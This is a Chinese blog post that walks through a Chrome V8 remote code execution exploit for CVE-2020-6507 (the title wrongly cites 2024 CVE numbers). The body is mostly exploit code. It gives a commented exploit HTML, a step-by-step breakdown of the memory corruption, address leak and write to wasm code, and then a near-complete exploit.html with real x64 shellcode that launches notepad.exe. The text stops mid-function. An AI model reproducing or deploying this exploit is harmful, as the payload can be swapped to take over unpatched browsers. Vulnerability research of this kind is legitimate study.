Google Chrome RCE漏洞 CVE-2024-6507 和 CVE-2024-0517 流程分析

最新推荐文章于 2024-09-25 22:39:39 发布

2401_87361210

最新推荐文章于 2024-09-25 22:39:39 发布

阅读量824

点赞数 18

文章标签： chrome 前端

本文链接：https://blog.csdn.net/2401_87361210/article/details/142428622

版权

二、CVE-2020-6507 复现环境：

Win10 + Google Chrome 86.0.4240.75

三、CVE-2020-6507 利用复现：

关闭沙箱安全使用命令进行关闭，在正常情况下，浏览器沙箱提供了一个受限制的执行环境，以防止恶意代码对用户系统的损害。关闭沙箱可能会导致浏览器执行环境的变化，使其更容易受到攻击。这在某些情况下可能有助于进行特定类型的漏洞研究和安全测试。

“C:\Program Files\Google\Chrome\Application\chrome.exe” -no-sandbox
在这里插入图片描述

四、EXP核心分析：

// 漏洞利用的HTML代码
<script>
 // 触发垃圾回收以促使后续的内存布局
 function gc() {
 for (var i = 0; i < 0x80000; ++i) {
 var a = new ArrayBuffer();
 }
 }

 // Shellcode，实际上是一个汇编代码的字节序列
 let shellcode = [...]; // 替换为实际的 shellcode

 // WebAssembly 模块的字节码数据
 var wasmCode = new Uint8Array([ /\* WebAssembly 模块的字节码数据 \*/ ]);
 
 // 创建 WebAssembly 模块和实例
 var wasmModule = new WebAssembly.Module(wasmCode);
 var wasmInstance = new WebAssembly.Instance(wasmModule);
 var main = wasmInstance.exports.main;

 // ArrayBuffer 和 DataView 用于进行内存操作
 var bf = new ArrayBuffer(8);
 var bfView = new DataView(bf);
 
 // 获取浮点数的低32位
 function fLow(f) {
 bfView.setFloat64(0, f, true);
 return (bfView.getUint32(0, true));
 }

 // 获取浮点数的高32位
 function fHi(f) {
 bfView.setFloat64(0, f, true);
 return (bfView.getUint32(4, true))
 }

 // 合成一个双精度浮点数
 function i2f(low, hi) {
 bfView.setUint32(0, low, true);
 bfView.setUint32(4, hi, true);
 return bfView.getFloat64(0, true);
 }

 // 将浮点数转换为大端序的64位无符号整数
 function f2big(f) {
 bfView.setFloat64(0, f, true);
 return bfView.getBigUint64(0, true);
 }

 // 将大端序的64位无符号整数转换为浮点数
 function big2f(b) {
 bfView.setBigUint64(0, b, true);
 return bfView.getFloat64(0, true);
 }

 // 定义一个 ArrayBuffer 的子类，用于进行内存操作
 class LeakArrayBuffer extends ArrayBuffer {
 constructor(size) {
 super(size);
 this.slot = 0xb33f;
 }
 }

 // 在调用 foo 之前进行多次操作，包括触发垃圾回收
 function foo(a) {
 let x = -1;
 if (a) x = 0xFFFFFFFF;

 var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
 arr.shift();
 let local\_arr = Array(2);
 local\_arr[0] = 5.1;
 let buff = new LeakArrayBuffer(0x1000);
 arr[0] = 0x1122;
 
 return [arr, local\_arr, buff];
 }

 for (var i = 0; i < 0x10000; ++i)
 foo(false);

 gc(); gc();

 // 调用 foo，获取相关数组和内存对象
 [corrput\_arr, rwarr, corrupt\_buff] = foo(true);

 // 利用漏洞进行内存操作
 corrput\_arr[12] = 0x22444;
 delete corrput\_arr;

 // 对内存进行操作，获取相关信息
 function setbackingStore(hi, low) {
 rwarr[4] = i2f(fLow(rwarr[4]), hi);
 rwarr[5] = i2f(low, fHi(rwarr[5]));
 }

 function leakObjLow(o) {
 corrupt\_buff.slot = o;
 return (fLow(rwarr[9]) - 1);
 }

 let corrupt\_view = new DataView(corrupt\_buff);
 let corrupt\_buffer\_ptr\_low = leakObjLow(corrupt\_buff);
 let idx0Addr = corrupt\_buffer\_ptr\_low - 0x10;
 let baseAddr = (corrupt\_buffer\_ptr\_low & 0xffff0000) - ((corrupt\_buffer\_ptr\_low & 0xffff0000) % 0x40000) + 0x40000;
 let delta = baseAddr + 0x1c - idx0Addr;

 if ((delta % 8) == 0) {
 let baseIdx = delta / 8;
 this.base = fLow(rwarr[baseIdx]);
 } else {
 let baseIdx = ((delta - (delta % 8)) / 8);
 this.base = fHi(rwarr[baseIdx]);
 }

 let wasmInsAddr = leakObjLow(wasmInstance);
 setbackingStore(wasmInsAddr, this.base);

 let code\_entry = corrupt\_view.getFloat64(13 \* 8, true);
 setbackingStore(fLow(code\_entry), fHi(code\_entry));

 // 替换 shellcode 并执行
 for (let i = 0; i < shellcode.length; i++) {
 corrupt\_view.setUint8(i, shellcode[i]);
 }
 
 // 执行 WebAssembly 的入口函数
 main();
</script>

有一个小问题，我直接使用谷歌浏览器打开这个exp.html时是没有反应的包括默认开打浏览器都不行，需要在谷歌浏览器的地址上输入exp地址才可以执行。所以这个漏洞的一个行为是值得浅析一下的，下面是我的大概一个理解。
这里是通过直接输入EXP行为导致触发

在浏览器中直接打开 HTML 文件时可能会受到一些安全策略的限制，而在地址栏中输入地址可能会绕过一些限制。这是因为在本地文件系统中直接打开
HTML 文件与通过 HTTP 协议在浏览器中打开页面有一些不同。
浏览器在直接打开本地文件时，可能会将该文件视为“本地”或“不安全”的上下文，并因此应用更严格的安全策略。这可能包括限制某些 JavaScript 功能或禁止执行某些类型的脚本。这是为了防止潜在的安全风险，因为本地文件可能会利用用户系统上的资源。
通过在地址栏中输入地址，你实际上是通过 HTTP 协议从浏览器获取页面，而不是直接从文件系统中加载。在这种情况下，浏览器可能会将页面视为更“安全”的上下文，并放宽一些限制。
这种行为可能是浏览器的一个特定实现，而不同的浏览器可能会有不同的行为。如果你的目标是在本地测试漏洞或脚本，最好的做法是将文件部署到本地服务器上，并通过HTTP协议在浏览器中打开。这样可以更好地模拟实际网络环境，同时减轻一些本地文件系统访问的限制，通过上面的一些描述可以很清楚认定这个行为。

其实在另外一种思路上，如果是直接可以打开直接执行命令，那么就可以绕过谷歌浏览器的这个机制限制，当然这个思路也可能是不存在或不能实现的一种。当然还有一个就是这个漏洞的沙箱逃逸，根据以往一些国外大佬进行逃逸并未成功！

EXP的核心步骤拆解分析

核心在于JavaScript代码是一个漏洞利用脚本，其核心部分在于实现了一系列操作，以触发浏览器漏洞并执行特定的shellcode，最终实现在浏览器中弹出记事本的效果。这篇文章里面我们可以接触到谷歌浏览器的垃圾回收也称为（WasmGC）https://developer.chrome.com/blog/wasmgc?hl=zh-cn#garbage_collection

让我们逐步分析这个脚本的核心要点：

内存操作：

使用ArrayBuffer对象进行内存分配，其中gc函数用于触发垃圾回收，以促使后续的内存布局。

ArrayBuffer 是 JavaScript 中的对象，用于表示通用的、固定长度的原始二进制数据缓冲区。它在 JavaScript 中的主要作用是提供一种机制，使得 JavaScript 能够直接操作二进制数据而无需通过字符串。

EXP代码中，ArrayBuffer 主要用于进行内存操作，通过创建 ArrayBuffer 实例并使用 DataView 来对其中的二进制数据进行读写。这些操作是为了进行浮点数和整数之间的转换，以及实现对内存的底层控制，从而进行漏洞利用。

定义了一系列与内存操作相关的函数，如fLow、fHi、i2f、f2big、big2f等，用于处理浮点数和整数之间的转换。

对浮点数和整数之间的转换通常是为了绕过一些数值的限制、操作系统的保护机制，或者触发特定的漏洞。这里简要说明这些函数的作用：
fLow(f): 将浮点数 f 的低 32 位提取出来。在这里可能用于获取浮点数的底层二进制表示的一部分。
fHi(f): 将浮点数 f 的高 32 位提取出来。同样，用于获取浮点数的底层二进制表示的一部分。
i2f(low, hi): 将两个整数 low 和 hi 合成一个双精度浮点数。这个操作可能用于将提取出的浮点数的低 32 位和高 32 位重新组合成一个浮点数。
f2big(f): 将浮点数 f 转换为一个大端序的 64 位无符号整数。这可能用于将浮点数的二进制表示直接当做整数进行处理。
big2f(b): 将大端序的 64 位无符号整数 b 转换为浮点数。这可能用于将整数的二进制表示直接当做浮点数进行处理。

<script>
 // 触发垃圾回收，促使后续的内存布局
 function gc() {
 for (var i = 0; i < 0x80000; ++i) {
 var a = new ArrayBuffer();
 }
 }
 
 // ... (其他代码)
 
 // 创建一个包含8字节的ArrayBuffer对象
 var bf = new ArrayBuffer(8);
 var bfView = new DataView(bf);

 // 以下是一系列处理浮点数和整数之间转换的函数
 // fLow: 获取浮点数的低32位
 function fLow(f) {
 bfView.setFloat64(0, f, true);
 return (bfView.getUint32(0, true));
 }

 // fHi: 获取浮点数的高32位
 function fHi(f) {
 bfView.setFloat64(0, f, true);
 return (bfView.getUint32(4, true))
 }

 // i2f: 将低32位和高32位整数转换成浮点数
 function i2f(low, hi) {
 bfView.setUint32(0, low, true);
 bfView.setUint32(4, hi, true);
 return bfView.getFloat64(0, true);
 }

 // f2big: 将浮点数转换成大端格式的64位整数
 function f2big(f) {
 bfView.setFloat64(0, f, true);
 return bfView.getBigUint64(0, true);
 }

 // big2f: 将大端格式的64位整数转换成浮点数
 function big2f(b) {
 bfView.setBigUint64(0, b, true);
 return bfView.getFloat64(0, true);
 }
</script>

gc 函数通过循环创建了大量的 ArrayBuffer 对象，以触发垃圾回收。
接着定义了一系列与内存操作相关的函数，如fLow、fHi、i2f、f2big、big2f 等，这些函数用于处理浮点数和整数之间的转换。

WebAssembly 操作：

知识点认识：WebAssembly（Wasm）是一种用于在浏览器中运行高性能代码的二进制指令集。在谷歌浏览器中，WebAssembly 模块可以通过与 JavaScript 代码进行交互，这个漏洞又与谷歌浏览器的 V8 JavaScript 引擎有关

定义了一个包含 WebAssembly 字节码的 Uint8Array 对象，并创建了 WebAssembly 模块和实例。
main 函数是 WebAssembly 模块的入口点。

<script>
 // ... (其他代码)

 // 定义一个包含 WebAssembly 模块字节码数据的 Uint8Array
 var wasmCode = new Uint8Array([ /\* WebAssembly 模块的字节码数据 \*/ ]);

 // 创建一个 WebAssembly 模块
 var wasmModule = new WebAssembly.Module(wasmCode);

 // 创建一个 WebAssembly 实例
 var wasmInstance = new WebAssembly.Instance(wasmModule);

 // 获取 WebAssembly 模块的导出函数 main
 var main = wasmInstance.exports.main;

 // ... (其他代码)
</script>

wasmCode 定义了一个 Uint8Array，其中包含了 WebAssembly 模块的字节码数据。
通过
WebAssembly.Module 创建了一个 WebAssembly 模块。
通过 WebAssembly.Instance创建了一个 WebAssembly 实例，并将其中的 main 函数赋值给了变量 main。
这部分代码涉及到 WebAssembly的加载和执行，其中 main 函数的调用触发了对应 WebAssembly 模块中的代码执行。

漏洞触发：

利用特定的操作和计算，触发了浏览器漏洞，包括操作Array和ArrayBuffer等对象。

Shellcode 注入：

定义了一个名为 shellcode 的数组，其中包含一段特定的二进制代码。这段代码是汇编代码，用于执行特定的操作，这里是弹出记事本。

内存布局操作：

通过一系列的内存操作，计算出一些关键地址，包括 baseAddr、wasmInsAddr 和 code_entry。
setbackingStore 函数用于修改内存中的值，实现对关键地址的设置。

// 设置 backingStore 函数，用于将两个 32 位整数写入数组 rwarr 中的浮点数元素
// hi: 要写入的高位整数，low: 要写入的低位整数
function setbackingStore(hi, low) {
    rwarr[4] = i2f(fLow(rwarr[4]), hi);  // 将高位整数写入 rwarr[4]
    rwarr[5] = i2f(low, fHi(rwarr[5]));   // 将低位整数写入 rwarr[5]
}

// 泄漏对象低位地址函数
// o: 要泄漏低位地址的对象
function leakObjLow(o) {
    corrupt_buff.slot = o;  // 将对象设置到 ArrayBuffer 的 slot 属性中
    return (fLow(rwarr[9]) - 1);  // 泄漏对象低位地址
}

let corrupt_view = new DataView(corrupt_buff);

// 获取 ArrayBuffer 的低位地址，用于后续计算
let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);

// 计算偏移地址
let idx0Addr = corrupt_buffer_ptr_low - 0x10;
let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
let delta = baseAddr + 0x1c - idx0Addr;

// 根据偏移地址确定 base 指向的是数组 rwarr 中的哪个元素
if ((delta % 8) == 0) {
    let baseIdx = delta / 8;
    this.base = fLow(rwarr[baseIdx]);
} else {
    let baseIdx = ((delta - (delta % 8)) / 8);
    this.base = fHi(rwarr[baseIdx]);
}

// 泄漏 WebAssembly 实例的低位地址
let wasmInsAddr = leakObjLow(wasmInstance);

// 将泄漏的 WebAssembly 实例地址和 base 写入 backingStore 中
setbackingStore(wasmInsAddr, this.base);

// 从 DataView 中获取地址指向的浮点数，即 WebAssembly 的代码入口地址
let code_entry = corrupt_view.getFloat64(13 * 8, true);

// 将代码入口地址写入 backingStore 中
setbackingStore(fLow(code_entry), fHi(code_entry));

最终执行：

在整个过程的最后，通过调用 main 函数，触发了 WebAssembly 模块的执行，并在其中执行了之前注入的 shellcode。

这里是完整的一个EXP，弹出记事本！

// exploit.html
<script>
 function gc() {
 for (var i = 0; i < 0x80000; ++i) {
 var a = new ArrayBuffer();
 }
 }
 let shellcode = [0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52,
 0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED,
 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88,
 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48,
 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1,
 0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49,
 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A,
 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B,
 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
 0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x6E, 0x6F, 0x74, 0x65, 0x70,
 0x61, 0x64, 0x2E, 0x65, 0x78, 0x65, 0x00];
 var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
 var wasmModule = new WebAssembly.Module(wasmCode);
 var wasmInstance = new WebAssembly.Instance(wasmModule);
 var main = wasmInstance.exports.main;
 var bf = new ArrayBuffer(8);
 var bfView = new DataView(bf);
 function fLow(f) {
 bfView.setFloat64(0, f, true);
 return (bfView.getUint32(0, true));
 }
 function fHi(f) {
 bfView.setFloat64(0, f, true);
 return (bfView.getUint32(4, true))
 }
 function i2f(low, hi) {
 bfView.setUint32(0, low, true);
 bfView.setUint32(4, hi, true);
 return bfView.getFloat64(0, true);
 }
 function f2big(f) {
 bfView.setFloat64(0, f, true);
 return bfView.getBigUint64(0, true);
 }
 function big2f(b) {
 bfView.setBigUint64(0, b, true);
 return bfView.getFloat64(0, true);
 }
 class LeakArrayBuffer extends ArrayBuffer {
 constructor(size) {
 super(size);
 this.slot = 0xb33f;
 }
 }
 function foo(a) {
 let x = -1;
 if (a) x = 0xFFFFFFFF;
 var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
 arr.shift();
 let local\_arr = Array(2);
 local\_arr[0] = 5.1;//4014666666666666